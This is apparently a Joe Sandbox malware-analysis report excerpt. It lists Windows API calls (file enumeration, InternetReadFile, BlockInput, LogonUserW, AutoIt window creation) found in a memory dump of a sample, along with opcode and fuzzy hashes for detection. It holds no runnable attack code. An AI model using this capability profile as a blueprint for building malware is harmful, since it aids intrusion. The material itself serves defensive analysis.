                              • FindFirstFileW.KERNEL32(00000000,?,?), ref: 0045C9BE
                              • FindNextFileW.KERNEL32(00000000,?), ref: 0045CA1B
                              • FindClose.KERNEL32(00000000,00000001,00000000), ref: 0045CA4A
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Find$File$CloseFirstNext
                              • String ID:
                              • API String ID: 3541575487-0
                              • Opcode ID: 14602e3ddb85434cb4a191148b4ac58dc13c9e22f939418703ff5d8e88b69fcb
                              • Instruction ID: 18858b47483a38653cd59612877c1399ad483e9f26b014a4aa46912757e3bc7b
                              • Opcode Fuzzy Hash: 14602e3ddb85434cb4a191148b4ac58dc13c9e22f939418703ff5d8e88b69fcb
                              • Instruction Fuzzy Hash: EC41CE756003009FC720EF79D880A9BB3E4FF89315F208A6EED698B391D775A844CB95
                              APIs
                              • GetFileAttributesW.KERNEL32(00000001,00000000), ref: 00436AEF
                              • FindFirstFileW.KERNEL32(00000001,?), ref: 00436B00
                              • FindClose.KERNEL32(00000000), ref: 00436B13
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: FileFind$AttributesCloseFirst
                              • String ID:
                              • API String ID: 48322524-0
                              • Opcode ID: 9dc85b775151a348b3ed896f2b5842869c214baa03f23a1e311506cc1954de59
                              • Instruction ID: 417b6d6de692ea6945bae3bf725251b28653fd5bce93257cef0f58e2a105c1b1
                              • Opcode Fuzzy Hash: 9dc85b775151a348b3ed896f2b5842869c214baa03f23a1e311506cc1954de59
                              • Instruction Fuzzy Hash: 23E02236804418678600AB7CAC0C4EE779CDB0A335F100B96FE38C21D0D775A9408FEA
                              APIs
                              • __time64.LIBCMT ref: 004433A2
                                • Part of subcall function 00414CEF: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,004341DB,00000000,?,0044248A,?,?,?,0048B850), ref: 00414CFA
                                • Part of subcall function 00414CEF: __aulldiv.LIBCMT ref: 00414D1A
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Time$FileSystem__aulldiv__time64
                              • String ID: rJ
                              • API String ID: 2893107130-1865492326
                              • Opcode ID: e603e75d0767fd135478995c8e8d26e9f594f0c4df67822259ddb38eb763753e
                              • Instruction ID: ebc1a5536eae3429eadb0b33e849de59894c076497330b79c1ff8485d89898ec
                              • Opcode Fuzzy Hash: e603e75d0767fd135478995c8e8d26e9f594f0c4df67822259ddb38eb763753e
                              • Instruction Fuzzy Hash: B721A2336205108BF321CF36CC41652B7E7EBE0314F268A6AE4A5973C5CA797906CB98
                              APIs
                              • __time64.LIBCMT ref: 004433A2
                                • Part of subcall function 00414CEF: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,004341DB,00000000,?,0044248A,?,?,?,0048B850), ref: 00414CFA
                                • Part of subcall function 00414CEF: __aulldiv.LIBCMT ref: 00414D1A
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Time$FileSystem__aulldiv__time64
                              • String ID: rJ
                              • API String ID: 2893107130-1865492326
                              • Opcode ID: e8e365b2ab883cc854990c78a2143569adcb81f7322f31e235de15ec19987b7e
                              • Instruction ID: 4b4e0c3debee0a45c2bc781276f994e79ac96c452fb6cf924f1e6ade5adf298d
                              • Opcode Fuzzy Hash: e8e365b2ab883cc854990c78a2143569adcb81f7322f31e235de15ec19987b7e
                              • Instruction Fuzzy Hash: E82187336345108BF321CF36CC4165277E3EBE0314B258B6AD4A5973C5CA797906CB88
                              APIs
                              • InternetQueryDataAvailable.WININET(?,?,?,?,00000000,00000000), ref: 004428C2
                              • InternetReadFile.WININET(?,00000000,?,?), ref: 004428F9
                                • Part of subcall function 0044286A: GetLastError.KERNEL32(00000000,0044AA07,?,00000000,00000000,00000001,?,?), ref: 00442880
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Internet$AvailableDataErrorFileLastQueryRead
                              • String ID:
                              • API String ID: 901099227-0
                              • Opcode ID: c5651eff999419169b46b76971b5abcb261cf656e183e849eb3ab7268b4b60d7
                              • Instruction ID: 2c15810e60b1cb59304632cc8162977c32d0240baa2dcf3c2cd6ef22f942a6bb
                              • Opcode Fuzzy Hash: c5651eff999419169b46b76971b5abcb261cf656e183e849eb3ab7268b4b60d7
                              • Instruction Fuzzy Hash: 452174B12043016BF220EF56DD45FAFB3E8ABD4715F40492EF285A6180D7B8E949C76A
                              APIs
                              • FindFirstFileW.KERNEL32(00000000,?,?), ref: 0045DDA1
                              • FindClose.KERNEL32(00000000), ref: 0045DDDD
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Find$CloseFileFirst
                              • String ID:
                              • API String ID: 2295610775-0
                              • Opcode ID: eac1d012b3ae473636f11b903683455954ec17c127a785734040b224e9a5f79e
                              • Instruction ID: 3577cc1601137e614a3334ffa73c6d258275d41fe8d72aaca367a27ef3e2a016
                              • Opcode Fuzzy Hash: eac1d012b3ae473636f11b903683455954ec17c127a785734040b224e9a5f79e
                              • Instruction Fuzzy Hash: DE11E5766002049FD710EF6ADC89A5AF7E5EF84325F10892EF958D7281CB75E8048B94
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID:
                              • String ID: 0vH$HH
                              • API String ID: 0-728391547
                              • Opcode ID: 96d535d6e61c6cd6e5d21badf476ce2a2faa32e114d6f0ae27a3d334794412dd
                              • Instruction ID: 538a6706abcc28c04bdc151be30d2aa4e2083a8dfdfa6c30a7857f36827e6882
                              • Opcode Fuzzy Hash: 96d535d6e61c6cd6e5d21badf476ce2a2faa32e114d6f0ae27a3d334794412dd
                              • Instruction Fuzzy Hash: 60E1BE725143109FC310EF25C881A9FB7E5AFC4708F108D2EF589AB281D779E946CB9A
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: _memset
                              • String ID:
                              • API String ID: 2102423945-0
                              • Opcode ID: b8def19716de174921965326585c8a0a0c2eba4d3f226f62ebfac136bfb84777
                              • Instruction ID: fac722ae1e10b3ad9494cda40f9fb3e9e62b3c26aea04ddfc6562ea9d2065ebb
                              • Opcode Fuzzy Hash: b8def19716de174921965326585c8a0a0c2eba4d3f226f62ebfac136bfb84777
                              • Instruction Fuzzy Hash: C512B4B7B983194FDB48DEE4DCC169573E1FB98304F09A43C9A15C7306F6E8AA094794
                              APIs
                              • DefDlgProcW.USER32(?,?,?,?,004A83D8,?), ref: 0047E22C
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Proc
                              • String ID:
                              • API String ID: 2346855178-0
                              • Opcode ID: 4f476b527310cd4595d6f2246be334f82b87c4d4a511bc9a4ae10ad49a3a576c
                              • Instruction ID: e1c03c818efbd3cbf3664a0c3e659178dbc9a05004c0f073233894ce1d713c90
                              • Opcode Fuzzy Hash: 4f476b527310cd4595d6f2246be334f82b87c4d4a511bc9a4ae10ad49a3a576c
                              • Instruction Fuzzy Hash: 4EB1E63330602429E114916BBC88EBFBB9CD7D677BB208B7FF142C1582DB5B6425A179
                              APIs
                              • BlockInput.USER32(00000001), ref: 0045A272
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: BlockInput
                              • String ID:
                              • API String ID: 3456056419-0
                              • Opcode ID: f8b7596c9daf0cf449ec099d4cdbafb4be693b9bdeaa48314d03f681346fce8b
                              • Instruction ID: 5d782454ef4d0180448527013755d2523f66e5fc327f68786c1d80a86620ac83
                              • Opcode Fuzzy Hash: f8b7596c9daf0cf449ec099d4cdbafb4be693b9bdeaa48314d03f681346fce8b
                              • Instruction Fuzzy Hash: D2E04F752043019BC700EF71C545A5BB7E4AF94314F108C6EF845A7351D775AC45CB66
                              APIs
                              • LogonUserW.ADVAPI32(?,?,?,?,00000000,?), ref: 0043918E
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: LogonUser
                              • String ID:
                              • API String ID: 1244722697-0
                              • Opcode ID: 365ca9639b26e9c6c56151d88f527b1e4ffaee0f54dfd66c8778d151900be7f4
                              • Instruction ID: 63114e5cfb2c4979e73f5d19eacf740c811f86df1a08bc2cb556a5e36cce81ff
                              • Opcode Fuzzy Hash: 365ca9639b26e9c6c56151d88f527b1e4ffaee0f54dfd66c8778d151900be7f4
                              • Instruction Fuzzy Hash: 8DD0ECB52686066FD204CB24D846E2B77E9A7C4701F008A0CB196D2280C670D805CA32
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: NameUser
                              • String ID:
                              • API String ID: 2645101109-0
                              • Opcode ID: b783c70369e54a54257db95ea8fbffa2a0b511f3d9d58af1a6b6f1143851980f
                              • Instruction ID: 8011c19b6c32d183c263453b2018abc548473ce9ed5616c99acac4896e71f792
                              • Opcode Fuzzy Hash: b783c70369e54a54257db95ea8fbffa2a0b511f3d9d58af1a6b6f1143851980f
                              • Instruction Fuzzy Hash: F6E08C322083058FC310EF55F8405ABB390EB94311F004C3FE64AA2191DA79920EDFAB
                              APIs
                              • SetUnhandledExceptionFilter.KERNEL32(Function_00021FEC), ref: 00422033
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: ExceptionFilterUnhandled
                              • String ID:
                              • API String ID: 3192549508-0
                              • Opcode ID: 299f58dbcf75cd09f1fee721c9404e411c3f17cf80a1a40ae63587de51767455
                              • Instruction ID: 3275b40964251646410af8875a24301f93fa315c26af6adae0ca3d0f7a721f84
                              • Opcode Fuzzy Hash: 299f58dbcf75cd09f1fee721c9404e411c3f17cf80a1a40ae63587de51767455
                              • Instruction Fuzzy Hash: CD9002743511144A4A011BB16E5D90925D46A586067920875B411C4064DB9840019619
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
                              • Instruction ID: b3f199f19983f506b623bfe7955a95149e6efe4e98ce3416cc40fa12ddcf4508
                              • Opcode Fuzzy Hash: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
                              • Instruction Fuzzy Hash: 46D19073C0A9B30A8735812D42582BFEE626FD578131EC3E29CD07F38AD26B5DA195D4
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
                              • Instruction ID: c47bdb3f9c9e38c5d46ddb9e43dedaf70276048770aeb58bd274f21c588a824b
                              • Opcode Fuzzy Hash: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
                              • Instruction Fuzzy Hash: 1CD19073D1A9B30A8735852D42581AFEE626FD578031EC3E2CCD07F38AD16B5DA191D4
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
                              • Instruction ID: ac15b8da1a4b082d71a0b082c8349c97121379a14580263daf363e6ab8f75410
                              • Opcode Fuzzy Hash: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
                              • Instruction Fuzzy Hash: 87C18173C0A9B30A8736812D42641AFEE626FD579031FC3E2CCD47F38A91AB5DA195D4
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
                              • Instruction ID: aa957cafbedeae1199dea6a597ba911d219650f283d164fb65797e90308ef47b
                              • Opcode Fuzzy Hash: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
                              • Instruction Fuzzy Hash: 5FC18E73D0A9B30A8735812D42581AFEE626FD578031EC3E28CE46F38ED26F5DA195D4
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 304d221b5688423ebfa6c473264aec07cdb78ae451f757bdd5acbbf2c1e92ad4
                              • Instruction ID: b8cfd58d412160527e66ace840abba843d94ac3f5b06779728c9fe736b8606cc
                              • Opcode Fuzzy Hash: 304d221b5688423ebfa6c473264aec07cdb78ae451f757bdd5acbbf2c1e92ad4
                              • Instruction Fuzzy Hash: ECD012F621844146F33144D866C0BD100437344310FB58C276005CEBC1C0DDECD6C229
                              APIs
                              • DeleteObject.GDI32(?), ref: 004593D7
                              • DeleteObject.GDI32(?), ref: 004593F1
                              • DestroyWindow.USER32(?), ref: 00459407
                              • GetDesktopWindow.USER32 ref: 0045942A
                              • GetWindowRect.USER32(00000000), ref: 00459431
                              • SetRect.USER32(50000001,00000000,00000000,000001F4,?), ref: 00459568
                              • AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 00459577
                              • CreateWindowExW.USER32(?,AutoIt v3,00000000,?,88C00000,?,?,50000001,?,?,00000000,00000000), ref: 004595BB
                              • GetClientRect.USER32(00000000,?), ref: 004595C8
                              • CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,?,00000000,00000000,00000000), ref: 00459615
                              • CreateFileW.KERNEL32(00000000,?,80000000,00000000,00000000,00000003,00000000,00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 00459635
                              • GetFileSize.KERNEL32(00000000,00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 00459654
                              • GlobalAlloc.KERNEL32(00000002,00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 0045965F
                              • GlobalLock.KERNEL32(00000000), ref: 00459668
                              • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 00459678
                              • GlobalUnlock.KERNEL32(00000000), ref: 0045967F
                              • CloseHandle.KERNEL32(00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 00459686
                              • CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,50000001,?,?,00000000,00000000,00000000), ref: 00459694
                              • OleLoadPicture.OLEAUT32(?,00000000,00000000,00482A20,000001F4), ref: 004596AD
                              • GlobalFree.KERNEL32(00000000), ref: 004596C0
                              • CopyImage.USER32(000000FF,00000000,00000000,00000000,00002000), ref: 004596EF
                              • SendMessageW.USER32(00000000,00000172,00000000,000000FF), ref: 00459712
                              • SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020,?,50000001,?,?,00000000,00000000,00000000), ref: 0045973D
                              • ShowWindow.USER32(?,00000004,?,50000001,?,?,00000000,00000000,00000000), ref: 0045974B
                              • CreateWindowExW.USER32(00000000,static,00000000,?,?,0000000B,0000000B,?,?,?,00000000,00000000), ref: 0045979C
                              • CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 004597AD
                              • GetStockObject.GDI32(00000011), ref: 004597B7
                              • SelectObject.GDI32(00000000,00000000), ref: 004597BF
                              • GetTextFaceW.GDI32(00000000,00000040,00000190,?,50000001,?,?,00000000,00000000,00000000), ref: 004597CD
                              • GetDeviceCaps.GDI32(00000000,0000005A), ref: 004597D6
                              • DeleteDC.GDI32(00000000), ref: 004597E1
                              • _wcslen.LIBCMT ref: 00459800
                              • _wcscpy.LIBCMT ref: 0045981F
                              • CreateFontW.GDI32(?,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,00000190), ref: 004598BB
                              • SendMessageW.USER32(?,00000030,00000000,00000001), ref: 004598D0
                              • GetDC.USER32(?), ref: 004598DE
                              • SelectObject.GDI32(00000000,?), ref: 004598EE
                              • SelectObject.GDI32(00000000,?), ref: 00459919
                              • ReleaseDC.USER32(?,00000000), ref: 00459925
                              • MoveWindow.USER32(?,0000000B,?,?,?,00000001), ref: 00459943
                              • ShowWindow.USER32(?,00000004,?,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,00000190), ref: 00459951
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
